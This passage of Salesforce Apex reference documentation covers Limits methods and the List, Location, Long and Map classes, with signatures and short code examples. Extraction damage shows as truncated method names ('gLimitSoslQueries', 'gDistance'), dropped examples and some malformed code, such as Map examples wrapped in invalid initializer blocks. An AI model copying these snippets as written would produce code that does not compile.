Returns the number of methods with the future annotation that have been executed (not necessarily completed).
getFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).

getLimitFutureCalls()

getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.

getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.

getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.
Return Value
Type: Integer

getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per day for mobile push notifications.

Signature
public static Integer getLimitMobilePushApexCalls()

Return Value
Type: Integer

getPicklistDescribes()
Deprecated. Returns the number of PicklistEntry objects that have been returned.

Signature
public static Integer getPicklistDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

getLimitPicklistDescribes()
Deprecated. Returns the maximum number of PicklistEntry objects that can be returned.

Signature
public static Integer getLimitPicklistDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.
**getQueries()**
Returns the number of SOQL queries that have been issued.

**Signature**

```java
public static Integer getQueries()
```

**Return Value**
Type: Integer

**getLimitQueries()**
Returns the total number of SOQL queries that can be issued.

**Signature**

```java
public static Integer getLimitQueries()
```

**Return Value**
Type: Integer

**getQueryLocatorRows()**
Returns the number of records that have been returned by the `Database.getQueryLocator` method.

**Signature**

```java
public static Integer getQueryLocatorRows()
```

**Return Value**
Type: Integer

**getLimitQueryLocatorRows()**
Returns the total number of records that have been returned by the `Database.getQueryLocator` method.

**Signature**

```java
public static Integer getLimitQueryLocatorRows()
```

**Return Value**
Type: Integer

**getQueryRows()**
Returns the number of records that have been returned by issuing SOQL queries.
Signature

```
public static Integer getQueryRows()
```

**Return Value**

Type: Integer

**getLimitQueryRows()**
Returns the total number of records that can be returned by issuing SOQL queries.

Signature

```
public static Integer getLimitQueryRows()
```

**Return Value**

Type: Integer

**getQueueableJobs()**
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

Signature

```
public static Integer getQueueableJobs()
```

**Return Value**

Type: Integer

**getLimitQueueableJobs()**
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

Signature

```
public static Integer getLimitQueueableJobs()
```

**Return Value**

Type: Integer

**getRecordTypesDescribes()**
Deprecated. Returns the number of RecordTypeInfo objects that have been returned.
Signature

```java
public static Integer getRecordTypesDescribes()
```

Return Value

Type: `Integer`

Usage

**Note:** Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

---

### `getLimitRecordTypesDescribes()`

Deprecated. Returns the maximum number of `RecordTypeInfo` objects that can be returned.

Signature

```java
public static Integer getLimitRecordTypesDescribes()
```

Return Value

Type: `Integer`

Usage

**Note:** Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

---

### `getRunAs()`

This method is deprecated. Returns the same value as `getDMLStatements`.

Signature

```java
public static Integer getRunAs()
```

Return Value

Type: `Integer`

Usage

The number of `RunAs` methods is no longer a separate limit, but is tracked as the number of DML statements issued.

---

### `getLimitRunAs()`

This method is deprecated. Returns the same value as `getLimitDMLStatements`. 
Signature

```java
public static Integer getLimitRunAs()
```

Return Value

Type: `Integer`

Usage

The number of `RunAs` methods is no longer a separate limit, but is tracked as the number of DML statements issued.

`getSavepointRollbacks()`

This method is deprecated. Returns the same value as `getDMLStatements`.

Signature

```java
public static Integer getSavepointRollbacks()
```

Return Value

Type: `Integer`

Usage

The number of `Rollback` methods is no longer a separate limit, but is tracked as the number of DML statements issued.

`getLimitSavepointRollbacks()`

This method is deprecated. Returns the same value as `getLimitDMLStatements`.

Signature

```java
public static Integer getLimitSavepointRollbacks()
```

Return Value

Type: `Integer`

Usage

The number of `Rollback` methods is no longer a separate limit, but is tracked as the number of DML statements issued.

`getSavepoints()`

This method is deprecated. Returns the same value as `getDMLStatements`.

Signature

```java
public static Integer getSavepoints()
```
Return Value
Type: Integer

Usage
The number of `setSavepoint` methods is no longer a separate limit, but is tracked as the number of DML statements issued.

`getLimitSavepoints()`
This method is deprecated. Returns the same value as `getLimitDMLStatements`.

Signature
```
public static Integer getLimitSavepoints()
```

Return Value
Type: Integer

Usage
The number of `setSavepoint` methods is no longer a separate limit, but is tracked as the number of DML statements issued.

`getScriptStatements()`
Deprecated. Returns a value that is based on CPU time usage and that is an approximation of script statement usage.

Signature
```
public static Integer getScriptStatements()
```

Usage

⚠️ Note: Because the script statement limit is no longer enforced in any API version, this method is no longer available. Call `getCpuTime()` instead. In API version 30.0 and earlier, this method is still available but is deprecated and returns only an approximation of statement usage. The formula that is used to compute the return value is based on the ratio of CPU time that is used toward your transaction’s CPU timeout limit.

`getLimitScriptStatements()`
Deprecated. Returns the maximum number of Apex statements that can execute.

Signature
```
public static Integer getLimitScriptStatements()
```
Return Value
Type: Integer

Usage
Note: Because the script statement limit is no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is still available but is deprecated. Call `getLimitCpuTime()` instead.

getSoslQueries()
Returns the number of SOSL queries that have been issued.

Signature
```java
public static Integer getSoslQueries()
```

Return Value
Type: Integer

gLimitSoslQueries()
Returns the total number of SOSL queries that can be issued.

Signature
```java
public static Integer getLimitSoslQueries()
```

Return Value
Type: Integer

List Class
Contains methods for the List collection type.

Namespace
System

Usage
The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following removes all elements from `myList`:

```java
myList.clear();
```

Even though the `clear` method does not include any parameters, the list that calls it is its implicit parameter.
For more information on lists, see Lists on page 30.
List Constructors

The following are constructors for List.

List<T>()
Creates a new instance of the List class. A list can hold elements of any data type T.

Signature
public List<T>()

Example
```java
// Create a list
List<Integer> ls1 = new List<Integer>();
// Add two integers to the list
ls1.add(1);
ls1.add(2);
```

List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both lists and can be any data type.

Signature
public List<T>(List<T> listToCopy)

Parameters

- listToCopy
  Type: List<T>
The list containing the elements to initialize this list from. T is the data type of the list elements.

Example

```java
List<Integer> ls1 = new List<Integer>();
ls1.add(1);
ls1.add(2);
// Create a list based on an existing one
List<Integer> ls2 = new List<Integer>(ls1);
// ls2 elements are copied from ls1
System.debug(ls2); // DEBUG|(1, 2)
```

`List<T>(setToCopy)`

Creates a new instance of the `List` class by copying the elements from the specified set. T is the data type of the elements in the set and list and can be any data type.

Signature

```java
public List<T>(Set<T> setToCopy)
```

Parameters

`setToCopy`  
Type: `Set<T>`  
The set containing the elements to initialize this list with. T is the data type of the set elements.

Example

```java
Set<Integer> s1 = new Set<Integer>();
s1.add(1);
s1.add(2);
// Create a list based on a set
List<Integer> ls = new List<Integer>(s1);
// ls elements are copied from s1
System.debug(ls); // DEBUG|(1, 2)
```

List Methods

The following are methods for `List`. All are instance methods.

IN THIS SECTION:

- `add(listElement)`  
  Adds an element to the end of the list.

- `add(index, listElement)`  
  Inserts an element into the list at the specified index position.

- `addAll(fromList)`  
  Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.
addAll(fromSet)
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.

clear()
Removes all elements from a list, consequently setting the list's length to zero.

clone()
Makes a duplicate copy of a list.

deepClone(preserveId, preserveReadOnlyTimestamps, preserveAutonumber)
Makes a duplicate copy of a list of sObject records, including the sObject records themselves.

equals(list2)
Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.

get(index)
Returns the list element stored at the specified index.

getSObjectType()
Returns the token of the sObject type that makes up a list of sObjects.

hashCode()
Returns the hashcode corresponding to this list and its contents.

isEmpty()
Returns true if the list has zero elements.

iterator()
Returns an instance of an iterator for this list.

remove(index)
Removes the list element stored at the specified index, returning the element that was removed.

set(index, listElement)
Sets the specified value for the element at the given index.

size()
Returns the number of elements in the list.

sort()
Sorts the items in the list in ascending order.

add(listElement)
Adds an element to the end of the list.

**Signature**

```java
public Void add(Object listElement)
```

**Parameters**

- `listElement`
  - Type: Object
Return Value
Type: Void

Example
```
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);
```

**add(index, listElement)**
Inserts an element into the list at the specified index position.

**Signature**
```
public Void add(Integer index, Object listElement)
```

**Parameters**
- **index**
  Type: Integer
- **listElement**
  Type: Object

**Return Value**
Type: Void

**Example**
In the following example, a list with six elements is created, and integers are added to the first and second index positions.
```
List<Integer> myList = new Integer[6];
myList.add(0, 47);
myList.add(1, 52);
system.assertEquals(52, myList.get(1));
```

**addAll(fromList)**
Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.

**Signature**
```
public Void addAll(List fromList)
```

**Parameters**
- **fromList**
  Type: List
Return Value
Type: Void

**addAll(fromSet)**
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.

**Signature**
```java
public Void addAll(Set fromSet)
```

**Parameters**
*fromSet*
Type: `Set`

Return Value
Type: Void

clear()
Removes all elements from a list, consequently setting the list's length to zero.

**Signature**
```java
public void clear()
```

Return Value
Type: Void

clone()
Makes a duplicate copy of a list.

**Signature**
```java
public List<Object> clone()
```

Return Value
Type: `List<Object>`

Usage
The cloned list is of the same type as the current list.

Note that if this is a list of sObject records, the duplicate list will only be a shallow copy of the list. That is, the duplicate will have references to each object, but the sObject records themselves will not be duplicated. For example:

To also copy the sObject records, you must use the `deepClone` method.
Example

```java
Account a = new Account(Name='Acme', BillingCity='New York');

Account b = new Account();
Account[] q1 = new Account[]{a,b};

Account[] q2 = q1.clone();
q1[0].BillingCity = 'San Francisco';

System.assertEquals('San Francisco', q1[0].BillingCity);
System.assertEquals('San Francisco', q2[0].BillingCity);
```

deepClone(preserveId, preserveReadonlyTimestamps, preserveAutonumber)

Makes a duplicate copy of a list of sObject records, including the sObject records themselves.

Signature

```java
public List<Object> deepClone(Boolean preserveId, Boolean preserveReadonlyTimestamps, Boolean preserveAutonumber)
```

Parameters

- **preserveId**
  Type: Boolean
  The optional `preserveId` argument determines whether the IDs of the original objects are preserved or cleared in the duplicates. If set to `true`, the IDs are copied to the cloned objects. The default is `false`, that is, the IDs are cleared.

- **preserveReadonlyTimestamps**
  Type: Boolean
  The optional `preserveReadonlyTimestamps` argument determines whether the read-only timestamp and user ID fields are preserved or cleared in the duplicates. If set to `true`, the read-only fields `CreatedById`, `CreatedDate`, `LastModifiedById`, and `LastModifiedDate` are copied to the cloned objects. The default is `false`, that is, the values are cleared.

- **preserveAutonumber**
  Type: Boolean
  The optional `preserveAutonumber` argument determines whether the autonumber fields of the original objects are preserved or cleared in the duplicates. If set to `true`, auto number fields are copied to the cloned objects. The default is `false`, that is, auto number fields are cleared.

Return Value

Type: List<Object>
**Usage**

The returned list is of the same type as the current list.

**Note:**

- `deepClone` only works with lists of sObjects, not with lists of primitives.
- For Apex saved using SalesforceAPI version 22.0 or earlier, the default value for the `preserve_id` argument is `true`, that is, the IDs are preserved.

To make a shallow copy of a list without duplicating the sObject records it contains, use the `clone` method.

**Example**

This example performs a deep clone for a list with two accounts.

```plaintext
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account(Name='Salesforce');
Account[] q1 = new Account[] {a,b};
Account[] q2 = q1.deepClone();
q1[0].BillingCity = 'San Francisco';

System.assertEquals('San Francisco', q1[0].BillingCity);
System.assertEquals('New York', q2[0].BillingCity);
```

This example is based on the previous example and shows how to clone a list with preserved read-only timestamp and user ID fields.

```plaintext
insert q1;

List<Account> accts = [SELECT CreatedById, CreatedDate, LastModifiedById, LastModifiedDate, BillingCity
FROM Account
WHERE Name='Acme' OR Name='Salesforce'];

// Clone list while preserving timestamp and user ID fields.
Account[] q3 = accts.deepClone(false, true, false);

// Verify timestamp fields are preserved for the first list element.
System.assertEquals(accts[0].CreatedBy, q3[0].CreatedBy);
System.assertEquals(accts[0].CreatedDate, q3[0].CreatedDate);
System.assertEquals(accts[0].LastModifiedBy, q3[0].LastModifiedBy);
System.assertEquals(accts[0].BillingCity, q3[0].BillingCity);
```
equals(list2)

Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.

Signature

public Boolean equals(List list2)

Parameters

list2
Type: List
The list to compare this list with.

Return Value

Type: Boolean

Usage

Two lists are equal if their elements are equal and are in the same order. The == operator is used to compare the elements of the lists. The == operator is equivalent to calling the equals method, so you can call list1.equals(list2); instead of list1 == list2;.

get(index)

Returns the list element stored at the specified index.

Signature

public Object get(Integer index)

Parameters

index
Type: Integer

Return Value

Type: Object

Usage

To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index position in square brackets as shown in the example.
Example

```java
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);
```

```java
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
```

getSObjectType()

Returns the token of the sObject type that makes up a list of sObjects.

Signature

```java
public Schema.SObjectType getSObjectType()
```

Return Value

Type: Schema.SObjectType

Usage

Use this method with describe information to determine if a list contains sObjects of a particular type.

Note that this method can only be used with lists that are composed of sObjects.

For more information, see Understanding Apex Describe Information on page 166.

Example

```java
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token.
System.assertEquals(
   Account.sObjectType,
   sObj.getSObjectType());

// Create a list of generic sObjects.
List<sObject> q = new Account[]{};

// Verify if the list of sObjects contains Account tokens.
System.assertEquals(
   Account.sObjectType,
   q.getSObjectType());
```
**hashCode()**
Returns the hashcode corresponding to this list and its contents.

**Signature**
```
public Integer hashCode()
```

**Return Value**
Type: Integer

**isEmpty()**
Returns true if the list has zero elements.

**Signature**
```
public Boolean isEmpty()
```

**Return Value**
Type: Boolean

**iterator()**
Returns an instance of an iterator for this list.

**Signature**
```
public Iterator iterator()
```

**Return Value**
Type: Iterator

**Usage**
From the returned iterator, you can use the iterable methods hasNext and next to iterate through the list.

- **Note:** You do not have to implement the iterable interface to use the iterable methods with a list.

See Custom Iterators.

**Example**
```
global class CustomIterable
    implements Iterator<Account>{
        List<Account> accs {get; set;}
        Integer i {get; set;}
```
public CustomIterable(){
    accs =
    [SELECT Id, Name, NumberOfEmployees
     FROM Account
     WHERE Name = 'false'];
    i = 0;
}

global boolean hasNext(){
    if(i >= accs.size()) {
        return false;
    } else {
        return true;
    }
}

global Account next(){
    // 8 is an arbitrary
    // constant in this example
    // that represents the
    // maximum size of the list.
    if(i == 8){return null;}
    i++;
    return accs[i-1];
}

remove(index)
Removes the list element stored at the specified index, returning the element that was removed.

Signature
public Object remove(Integer index)

Parameters
index
Type: Integer

Return Value
Type: Object

Example
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
String s1 = colors.remove(2);

```
set(index, listElement)
```

Sets the specified value for the element at the given index.

**Signature**

```java
public Void set(Integer index, Object listElement)
```

**Parameters**

- **index**
  - Type: Integer
  - The index of the list element to set.

- **listElement**
  - Type: Object
  - The value of the list element to set.

**Return Value**

Type: Void

**Usage**

To set an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element’s index position in square brackets.

**Example**

```java
List<Integer> myList = new Integer[6];
myList.set(0, 47);
myList.set(1, 52);

List<String> colors = new String[3];

colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
```

**size()**

Returns the number of elements in the list.

**Signature**

```java
public Integer size()
```
Return Value
Type: Integer

Example

```java
List<Integer> myList = new List<Integer>();
Integer size = myList.size();
system.assertEquals(0, size);

List<Integer> myList2 = new Integer[6];
Integer size2 = myList2.size();
system.assertEquals(6, size2);
```

`sort()`
Sorts the items in the list in ascending order.

Signature

```java
public Void sort()
```

Return Value
Type: Void

Usage
Using this method, you can sort primitive types, SelectOption elements, and sObjects (standard objects and custom objects). For more information on the sort order used for sObjects, see Sorting Lists of sObjects. You can also sort custom types (your Apex classes) if they implement the `Comparable Interface` interface.

When you use `sort()` methods on `List<Id>`s that contain both 15-character and 18-character IDs, IDs for the same record sort together in API version 35.0 and later.

Example
In the following example, the list has three elements. When the list is sorted, the first element is null because it has no value assigned while the second element has the value of 5.

```java
List<Integer> q1 = new Integer[3];

// Assign values to the first two elements.
q1[0] = 10;
q1[1] = 5;

q1.sort();
// First element is null, second is 5.
system.assertEquals(5, q1.get(1));
```
Location Class

Contains methods for accessing the component fields of geolocation compound fields.

Namespace

system

Usage

Each of these methods is also equivalent to a read-only property. For each getter method you can access the property using dot notation. For example, `myLocation.getLatitude()` is equivalent to `myLocation.latitude`.

You can’t use dot notation to access compound fields’ subfields directly on the parent field. Instead, assign the parent field to a variable of type `Location`, and then access its components.

```
Location loc = myAccount.MyLocation__c;
Double lat = loc.latitude;
```

Example

```
// Select and access the Location field. MyLocation__c is the name of a geolocation field on Account.
Account[] records = [SELECT id, MyLocation__c FROM Account LIMIT 10];
for(Account acct : records) {
    Location loc = acct.MyLocation__c;
    Double lat = loc.latitude;
    Double lon = loc.longitude;
}

// Instantiate new Location objects and compute the distance between them in different ways.
Location loc1 = Location.newInstance(28.635308,77.22496);
Location loc2 = Location.newInstance(37.7749295,-122.4194155);
Double dist = Location.getDistance(loc1, loc2, 'mi');
Double dist2 = loc1.getDistance(loc2, 'mi');
```

Location Methods

The following are methods for `Location`.

getDistance(toLocation, unit)

Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the specified unit.
getDistance(firstLocation, secondLocation, unit)
Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified unit.

getLatitude()
Returns the latitude field of this location.

getLongitude()
Returns the longitude field of this location.

newInstance(latitude, longitude)
Creates an instance of the Location class, with the specified latitude and longitude.

gDistance(toLocation, unit)
Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the specified unit.

Signature
public Double getDistance(Location toLocation, String unit)

Parameters
toLocation
Type: Location
  The Location to which you want to calculate the distance from the current Location.

unit
Type: String
  The distance unit you want to use: mi or km.

Return Value
Type: Double

gDistance(firstLocation, secondLocation, unit)
Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified unit.

Signature
public static Double getDistance(Location firstLocation, Location secondLocation, String unit)

Parameters
firstLocation
Type: Location
  The first of two locations used to calculate distance.
secondLocation
Type: Location
The second of two locations used to calculate distance.

unit
Type: String
The distance unit you want to use: mi or km.

Return Value
Type: Double

getLatitude()
Returns the latitude field of this location.

Signature
public Double getLatitude()

Return Value
Type: Double

getLongitude()
Returns the longitude field of this location.

Signature
public Double getLongitude()

Return Value
Type: Double

newInstance(latitude, longitude)
Creates an instance of the Location class, with the specified latitude and longitude.

Signature
public static Location newInstance(Decimal latitude, Decimal longitude)

Parameters
latitude
Type: Decimal
longitude
Type: Decimal
Return Value
Type: Location

Long Class
Contains methods for the Long primitive data type.

Namespace
System

Usage
For more information on Long, see Primitive Data Types on page 27.

Long Methods
The following are methods for Long.

IN THIS SECTION:

format()
Returns the String format for this Long using the locale of the context user.

intValue()
Returns the Integer value for this Long.

valueOf(stringToLong)
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long.

format()
Returns the String format for this Long using the locale of the context user.

Signature
public String format()

Return Value
Type: String

Example
```java
Long myLong = 4271990;
system.assertEquals('4,271,990', myLong.format());
```
intValue()
Returns the Integer value for this Long.

Signature
public Integer intValue()

Return Value
Type: Integer

Example
Long myLong = 7191991;
Integer value = myLong.intValue();
system.assertEquals(7191991, myLong.intValue());

valueOf(stringToLong)
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long.

Signature
public static Long valueOf(String stringToLong)

Parameters
stringToLong
Type: String

Return Value
Type: Long

Example
Long L1 = long.valueOf('123456789');

Map Class
Contains methods for the Map collection type.

Namespace
System
Usage

The Map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the instance methods for maps.

Note:

- Map keys and values can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.
- Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field values.
- Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as distinct.

For more information on maps, see Maps on page 33.

Map Constructors

The following are constructors for Map.

Map<T1,T2>()

Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.

Map<T1,T2>(mapToCopy)

Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the keys and T2 is the data type of the values.

Map<ID,sObject>(recordList)

Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with the sObject IDs and the values are the sObjects.

Map<T1,T2>()

Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.

Signature

public Map<T1,T2>()
Example

Map<Integer, String> m1 = new Map<Integer, String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');

Map<T1,T2>(mapToCopy)

Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the keys and T2 is the data type of the values.

Signature

public Map<T1,T2>(Map<T1,T2> mapToCopy)

Parameters

mapToCopy
  Type: Map<T1, T2>

  The map to initialize this map with. T1 is the data type of the keys and T2 is the data type of the values. All map keys and values are copied to this map.

Example

Map<Integer, String> m1 = new Map<Integer, String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');
Map<Integer, String> m2 = new Map<Integer, String>(m1);
// The map elements of m2 are copied from m1
System.debug(m2);

Map<ID,sObject>(recordList)

Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with the sObject IDs and the values are the sObjects.

Signature

public Map<ID,sObject>(List<sObject> recordList)

Parameters

recordList
  Type: List<sObject>

  The list of sObjects to populate the map with.

Example

List<Account> ls = [select Id,Name from Account];
Map<Id, Account> m = new Map<Id, Account>(ls);
Map Methods

The following are methods for Map. All are instance methods.

IN THIS SECTION:

  clear()
  Removes all of the key-value mappings from the map.

  clone()
  Makes a duplicate copy of the map.

  containsKey(key)
  Returns true if the map contains a mapping for the specified key.

  deepClone()
  Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.

  equals(map2)
  Compares this map with the specified map and returns true if both maps are equal; otherwise, returns false.

  get(key)
  Returns the value to which the specified key is mapped, or null if the map contains no value for this key.

  getSObjectType()
  Returns the token of the sObject type that makes up the map values.

  hashCode()
  Returns the hashcode corresponding to this map.

  isEmpty()
  Returns true if the map has zero key-value pairs.

  keySet()
  Returns a set that contains all of the keys in the map.

  put(key, value)
  Associates the specified value with the specified key in the map.

  putAll(fromMap)
  Copies all of the mappings from the specified map to the original map.

  putAll(sobjectArray)
  Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>.

  remove(key)
  Removes the mapping for the specified key from the map, if present, and returns the corresponding value.

  size()
  Returns the number of key-value pairs in the map.

  values()
  Returns a list that contains all the values in the map.

  clear()
  Removes all of the key-value mappings from the map.
Signature

```
public Void clear()
```

Return Value

Type: Void

**clone()**

Makes a duplicate copy of the map.

Signature

```
public Map<Object, Object> clone()
```

Return Value

Type: Map (of same type)

Usage

If this is a map with sObject record values, the duplicate map will only be a shallow copy of the map. That is, the duplicate will have references to each sObject record, but the records themselves are not duplicated. For example:

To also copy the sObject records, you must use the `deepClone` method.

Example

```java
Account a = new Account(
    Name='Acme',
    BillingCity='New York');

Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);

Map<Integer, Account> map2 = map1.clone();
map1.get(1).BillingCity = 'San Francisco';

System.assertEquals(
    'San Francisco',
    map1.get(1).BillingCity);

System.assertEquals(
    'San Francisco',
    map2.get(1).BillingCity);
```

**containsKey(key)**

Returns `true` if the map contains a mapping for the specified key.
**Signature**

```
public Boolean containsKey(Object key)
```

**Parameters**

- **key**
  - Type: Object

**Return Value**

- Type: Boolean

**Usage**

If the key is a string, the key value is case-sensitive.

**Example**

```
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');

Boolean contains = colorCodes.containsKey('Blue');
System.assertEquals(true, contains);
```

**deepClone()**

Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.

**Signature**

```
public Map<Object, Object> deepClone()
```

**Return Value**

- Type: Map (of the same type)

**Usage**

To make a shallow copy of a map without duplicating the sObject records it contains, use the `clone()` method.

**Example**

```
Account a = new Account(
    Name='Acme',
    BillingCity='New York');

Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);
```
Map<Integer, Account> map2 = map1.deepClone();

// Update the first entry of map1
map1.get(1).BillingCity = 'San Francisco';
// Verify that the BillingCity is updated in map1 but not in map2
System.assertEquals('San Francisco', map1.get(1).BillingCity);
System.assertEquals('New York', map2.get(1).BillingCity);

**equals(map2)**

Compares this map with the specified map and returns **true** if both maps are equal; otherwise, returns **false**.

**Signature**

```java
public Boolean equals(Map map2)
```

**Parameters**

`map2`

Type: `Map`

The `map2` argument is the map to compare this map with.

**Return Value**

Type: `Boolean`

**Usage**

Two maps are equal if their key/value pairs are identical, regardless of the order of those pairs. The `==` operator is used to compare the map keys and values.

The `==` operator is equivalent to calling the `equals` method, so you can call `map1.equals(map2);` instead of `map1 == map2;`.

**get(key)**

Returns the value to which the specified key is mapped, or `null` if the map contains no value for this key.

**Signature**

```java
public Object get(Object key)
```

**Parameters**

`key`

Type: `Object`

**Return Value**

Type: `Object`
Usage

If the key is a string, the key value is case-sensitive.

Example

```java
Map<String, String> colorCodes = new Map<String, String>();

colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');

String code = colorCodes.get('Blue');
System.assertEquals('0000A0', code);

// The following is not a color in the map
String code2 = colorCodes.get('Magenta');
System.assertEquals(null, code2);
```

getSObjectType()

Returns the token of the sObject type that makes up the map values.

Signature

```java
public Schema.SObjectType getSObjectType()
```

Return Value

Type: Schema.SObjectType

Usage

Use this method with describe information, to determine if a map contains sObjects of a particular type.

Note that this method can only be used with maps that have sObject values.

For more information, see Understanding Apex Describe Information on page 166.

Example

```java
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token.
System.assertEquals(
    Account.sObjectType,
    sObj.getSObjectType());

// Create a map of generic sObjects
Map<Integer, Account> m = new Map<Integer, Account>();

// Verify if the map contains Account tokens.
System.assertEquals(
```
hashCode()  
Returns the hashcode corresponding to this map.

Signature

```java
public Integer hashCode()
```

Return Value

Type: Integer

isEmpty()  
Returns true if the map has zero key-value pairs.

Signature

```java
public Boolean isEmpty()
```

Return Value

Type: Boolean

Example

```java
Map<String, String> colorCodes = new Map<String, String>();
Boolean empty = colorCodes.isEmpty();
System.assertEquals(true, empty);
```

keySet()  
Returns a set that contains all of the keys in the map.

Signature

```java
public Set<Object> keySet()
```

Return Value

Type: Set (of key type)

Example

```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
```
colorCodes.put('Blue', '0000A0');

Set <String> colorSet = new Set<String>();
colorSet = colorCodes.keySet();

**put(key, value)**
Associates the specified value with the specified key in the map.

**Signature**

```java
public Object put(Object key, Object value)
```

**Parameters**

- **key**
  - Type: Object
- **value**
  - Type: Object

**Return Value**

Type: Object

**Usage**

If the map previously contained a mapping for this key, the old value is returned by the method and then replaced.

If the key is a string, the key value is case-sensitive.

**Example**

```java
Map<String, String> colorCodes = new Map<String, String>();

colorCodes.put('Red', 'ff0000');
colorCodes.put('Red', '#FF0000');
// Red is now #FF0000
```

**putAll(fromMap)**
Copies all of the mappings from the specified map to the original map.

**Signature**

```java
public Void putAll(Map fromMap)
```

**Parameters**

- **fromMap**
  - Type: Map
Return Value
Type: Void

Usage
The new mappings from fromMap replace any mappings that the original map had.

Example
```java
Map<String, String> map1 = new Map<String, String>();
map1.put('Red', 'FF0000');
Map<String, String> map2 = new Map<String, String>();
map2.put('Blue', '0000FF');
// Add map1 entries to map2
map2.putAll(map1);
System.assertEquals(2, map2.size());
```

putAll(sobjectArray)
Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>.

Signature
```java
public Void putAll(sObject[] sobjectArray)
```

Parameters
sobjectArray
Type: sObject[]

Return Value
Type: Void

Usage
This method is similar to calling the Map constructor with the same input.

Example
```java
List<Account> accts = new List<Account>();
accts.add(new Account(Name='Account1'));
accts.add(new Account(Name='Account2'));
// Insert accounts so their IDs are populated.
insert accts;
Map<Id, Account> m = new Map<Id, Account>();
// Add all the records to the map.
m.putAll(accts);
System.assertEquals(2, m.size());
```
**remove(key)**

Removes the mapping for the specified key from the map, if present, and returns the corresponding value.

**Signature**

```
public Object remove(Key key)
```

**Parameters**

- `key`
  
  Type: Key

**Return Value**

Type: Object

**Usage**

If the key is a string, the key value is case-sensitive.

**Example**

```java
Map<String, String> colorCodes = new Map<String, String>(){
    colorCodes.put('Red', 'FF0000');
    colorCodes.put('Blue', '0000A0');

    String myColor = colorCodes.remove('Blue');
    String code2 = colorCodes.get('Blue');

    System.assertEquals(null, code2);
}
```

**size()**

Returns the number of key-value pairs in the map.

**Signature**

```
public Integer size()
```

**Return Value**

Type: Integer

**Example**

```java
Map<String, String> colorCodes = new Map<String, String>(){
    colorCodes.put('Red', 'FF0000');
    colorCodes.put('Blue', '0000A0');
}
```
Integer mSize = colorCodes.size();
system.assertEquals(2, mSize);

values()
Returns a list that contains all the values in the map.

Signature
public List<Object> values()

Return Value
Type: List<Object>

Usage
